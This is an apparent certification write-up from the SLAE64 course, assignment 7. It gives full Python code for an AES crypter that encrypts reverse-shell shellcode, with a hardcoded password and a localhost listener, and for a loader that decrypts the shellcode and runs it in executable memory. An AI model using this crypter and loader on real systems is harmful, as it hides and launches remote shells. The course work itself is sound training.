SLAE64 - Assignment 7

This post is a continuation of a seven (7) part blog series as part of the SLAE64 certification challenge. You can read the previous blog posts using the links below.

Previous Posts:

• SLAE64 - Assignment 1
• SLAE64 - Assignment 2
• SLAE64 - Assignment 3
• SLAE64 - Assignment 4
• SLAE64 - Assignment 5
• SLAE64 - Assignment 6

The requirements for Assignment 7 are as follows:

• Create a custom crypter like the one shown in the "crypters" video
• Free to use any existing encryption schema
• Can use any programming language

This assignment, like the SLAE32, was quite fun. I actually reused some code for the encryption and decryption process but decided to try this out with the new Reverse Shell with Password from Assignment 2. Here's the encrypter.py

#!/usr/bin/env python

####################################################
#
# shellcode-crypter.py
# by Michael Born (@blu3gl0w13)
# Student ID: SLAE64-1439
# November 8, 2016
#
####################################################

# Imports

from Crypto.Cipher import AES
import sys
#import argparse
import os
import hashlib


#---------------------------------------
#
# Define our Encryption Functions
#
#--------------------------------------

def aesCrypter(key, shellcode):
  salt = os.urandom(16)
  initVector = os.urandom(16)
  hashedKey = hashlib.sha256(key + salt).digest()
  mode = AES.MODE_CBC
  encrypterObject = AES.new(hashedKey, mode, initVector)
  messageToEncrypt = shellcode
  cipherText = initVector + salt + encrypterObject.encrypt(messageToEncrypt)
  print "\n\n[+] RAW AES Encrypted Shellcode: \n%s" % cipherText.encode('hex')
  print "\nShellcode Length: %d" % len(cipherText)
  print "\nKey: %s" % key
  print "\nHashedkey: %s Len: %d" % (hashedKey.encode('hex'), len(hashedKey))
  print "\nSalt: %s Len: %d" % (salt.encode('hex'), len(salt))
  print "\nIV: %s Len: %d\n\n" % (initVector.encode('hex'), len(initVector))
  encShellcode = ''

  for i in bytearray(cipherText):
    encShellcode += '\\x%02x' % i

  print '\n[+] Encrypted Shellcode: "%s"\n\n' % encShellcode
  sys.exit(0)

def main():
  # Setup the argument parser

#  parser = argparse.ArgumentParser()
#  parser.add_argument("-s", "--shellcode", help="Shellcode to encrypt", 
#                       dest='shellcode', required=True)
#  parser.add_argument('-k', '--key', help='AES key to use for encryption', 
#                       dest='key', required=True)
#  options = parser.parse_args()

  # Prepare some objects

#  key = options.key
#  shellcode = options.shellcode

  shellcode = (
"\x48\x31\xc0\xb0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31"
"\xd2\x48\x83\xc2\x06\x0f\x05\x48\x89\xc7\x48\x31\xc0\xb0\x2a\x48\x31\xd2\xb2\x10\x48"
"\x31\xf6\x56\xc7\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x11\x5c\x89\x74\x24"
"\xf6\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x89\xe6\x0f\x05\x4d\x31\xc9\x49\x89\xf9"
"\x4d\x31\xf6\x41\x56\x49\xbe\x48\x34\x78\x78\x30\x72\x30\x31\x41\x56\x49\x89\xe6\x48"
"\x83\xec\x10\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6"
"\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x4c\x89\xcf\x6a\x01\x58\x48\x31\xf6"
"\x56\x48\xbe\x73\x77\x6f\x72\x64\x3a\x20\x0a\x56\x48\xbe\x65\x72\x20\x61\x20\x50\x61"
"\x73\x56\x48\xbe\x65\x61\x73\x65\x20\x45\x6e\x74\x56\x66\x68\x50\x6c\x48\x89\xe6\x48"
"\x31\xd2\xb2\x1a\x0f\x05\x48\x31\xc0\x48\x31\xf6\x56\x48\x8d\x74\x24\xf0\x48\x31\xd2"
"\x80\xc2\x10\x0f\x05\x4c\x89\xf7\x48\xa7\x74\x02\x75\xaa\x48\x31\xc0\xb0\x3b\x48\x31"
"\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x56\x66"
"\x68\x2d\x69\x4d\x31\xd2\x49\x89\xe2\x56\x41\x52\x57\x48\x89\xe6\x48\x31\xd2\x52\x48"
"\x89\xe2\x0f\x05")

  key = 'slae64'

  while (len(shellcode) % 16 !=0):
    shellcode += "\x90"

  aesCrypter(key, shellcode)


if __name__ == "__main__":
  main()

Our decrypter.py will essentially decrypt, and execute our shellcode. Funny side note, I actually received a ton of segmentation faults when running the decrypter script. After about 10 segfaults and checking the code, I realized the segmentation faults were caused by me not running a listener. That's when I knew I needed to take a break for the evening. Anyways, here's the decrypter script. For the bottom portion of this script, I relied heavily on http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html and modified it for readability. This allows us to execute our decrypted shellcode using Python! Yes!

#!/usr/bin/env python

####################################################
#
# shellcode-decrypter.py
# by Michael Born (@blu3gl0w13)
# Student ID: SLAE64-1439
# November 8, 2016
#
####################################################

# Imports

from Crypto.Cipher import AES
import sys
#import argparse
import os
import hashlib
from ctypes import *


#---------------------------------------
#
# Define our Decryption Functions
#
#--------------------------------------


def aesDecrypter(key, IV, shellcode, salt):
  hashedKey = hashlib.sha256(key + salt).digest()
  mode = AES.MODE_CBC
  initVector = IV
  decrypterObject = AES.new(hashedKey, AES.MODE_CBC, initVector)
  messageToDecrypt = shellcode
  clearText = decrypterObject.decrypt(messageToDecrypt)
  #print "\n\n[+] RAW AES Decrypted Shellcode (non hex encoded): \n\"%s\"\n\n" % clearText
  return clearText
  sys.exit(0)

def pwn():
  # Setup the argument parser

#  parser = argparse.ArgumentParser()
#  parser.add_argument("-s", "--shellcode", help="Shellcode to encrypt", 
#                        dest='shellcode', required=True)
#  parser.add_argument('-k', '--key', help='AES key to use for encryption', 
#                        dest='key', required=True)
#  options = parser.parse_args()


  # Prepare some objects
  encryptedPayload = (
"\xa3\x39\x74\x0a\xf3\x66\x25\xad\x99\xb7\xb1\xa2\x5f\x8f\xfe\x46\xc0\xca\xd7\xb3"
"\x2d\x07\x04\xe0\x3a\x2f\x18\xbf\x4c\x12\x70\xe1\xe7\xda\x39\x2f\x1d\x8a\x19\xc3"
"\x5f\xb0\xeb\x11\xd0\x19\xa6\x1d\x91\x08\xb0\x5c\xc9\x5a\x21\xd9\xc2\xc9\x5a\xce"
"\x1d\x96\x7e\xa4\xa0\x68\xad\xd7\x9d\x89\x1e\x93\x03\xef\xfc\xe1\xed\xfd\x01\x2e"
"\xb7\xb8\x99\x58\xee\x1b\xaa\xbd\xa1\x99\xe7\x61\xbc\xaa\xd2\x4c\x7e\x7f\x5c\xc4"
"\x13\xc2\xb6\x13\xaf\xad\x34\xb1\x9e\x13\x79\x12\x6c\x9f\x46\xde\xd1\x37\xd7\xc8"
"\x8e\xcb\x44\x8d\x5d\x9e\xbd\xe3\x65\x33\x06\x87\x25\xc7\xa5\x9e\x97\x25\xd3\x62"
"\xa7\xbb\x10\xf5\x3b\x5a\x84\x6c\x8e\x14\x62\xe3\x85\x80\xe6\x59\xa5\x99\x03\x96"
"\x0e\x6e\xdc\x20\x01\x9e\xa0\xdf\x1b\xc5\xd0\x2b\xc8\x59\x0f\x00\x1e\xa3\x7b\x95"
"\x22\xd5\x32\x5b\xf1\x6a\x39\x9d\xfb\xf6\xf6\xc5\xc2\xb9\x70\xa0\xd3\x9b\xe6\x36"
"\xf1\xe8\xad\xdd\x30\x41\xca\xf0\x6c\x7b\x73\xc6\x43\x00\x0b\x6c\x6c\x4f\x53\xfc"
"\x64\x8b\x93\xfa\x4f\x33\x66\x58\xe3\x18\x2d\x50\xe8\x90\xed\x89\xa2\xf9\x73\xbf"
"\x1e\x2e\x1d\x18\x45\x9a\x6f\x70\x75\x91\x78\xcc\xa9\x99\x51\x2a\xb0\x03\x12\x23"
"\x95\x1b\x6a\x79\x30\x9a\x6b\x95\x2b\x94\x61\x87\x41\x54\xc5\x15\x62\x74\x6e\xc7"
"\xd6\xff\xde\x08\x21\x26\xf0\x97\x86\x91\xbe\xa6\x2a\xa4\xa9\x8c\x00\x82\x5e\x91"
"\x3c\xf8\xf6\xf9\x18\x7f\xa8\x06\xe2\x0b\xf5\x00\x9c\xb4\xaf\xf1\x89\xa6\xb4\xb7")


#  encryptedPayload = (options.shellcode).replace("\\x", "").decode('hex')
  IV = encryptedPayload[:16]
  salt = encryptedPayload[16:32]
  key = 'slae64'
  shellcode = encryptedPayload[32::]

  decrypted = aesDecrypter(key, IV, shellcode, salt)


  # now we need to run our shellcode from here

  # use ctypes.CDLL to load /lib/i386-linux-gnu/libc.so.6

  libC = CDLL('libc.so.6')

  #print decrypted
#  shellcode = str(decrypted)
#  shellcode = shellcode.replace('\\x', '').decode('hex')


#  code = c_char_p(shellcode)

  code = c_char_p(decrypted)
#  sizeOfDecryptedShellcode = len(shellcode)
  sizeOfDecryptedShellcode = len(decrypted)

  # now we need to setup our void *valloc(size_t size) and get our pointer to allocated memory

  memAddrPointer = c_void_p(libC.valloc(sizeOfDecryptedShellcode))

  # now we need to move our code into memory using memmove 
  # void *memmove(void *dest, const void *src, size_t n)

  codeMovePointer = memmove(memAddrPointer, code, sizeOfDecryptedShellcode)


  # now we use mprotect to make sure we have read, write, and execute permisions in memory
  # R, WR, X = 0x7

  protectMemory = libC.mprotect(memAddrPointer, sizeOfDecryptedShellcode, 7)
#  print protectMemory

  # now we set up a quick execution for our shellcode using cast ctypes.cast = cast(obj, typ)
  # we'll have to call ctypes.CFUNCTYPE to identify memAddrPointer as void * (c_void_p) type

  executeIt = cast(memAddrPointer, CFUNCTYPE(c_void_p))
#  print run
  executeIt()



if __name__ == "__main__":
  pwn()

After we make sure to setup our listener, we execute the decrypter.py script and see that it does in fact successfully decrypt and execute our shellcode. That's some fancy use of CLIBS in Python.

Figure 1 - decrypter.py


I hope you've enjoyed this blog series and really recommend going after the SecurityTube training. I have been pleasantly surprised with not only the SLAE32 and SLAE64 course but all of the videos accessible in Pentester Academy. I do plan on writing about my full experience with these trainings in a future blog. You'll just have to stay tuned!!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:


http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html

Student ID: SLAE64 - 1439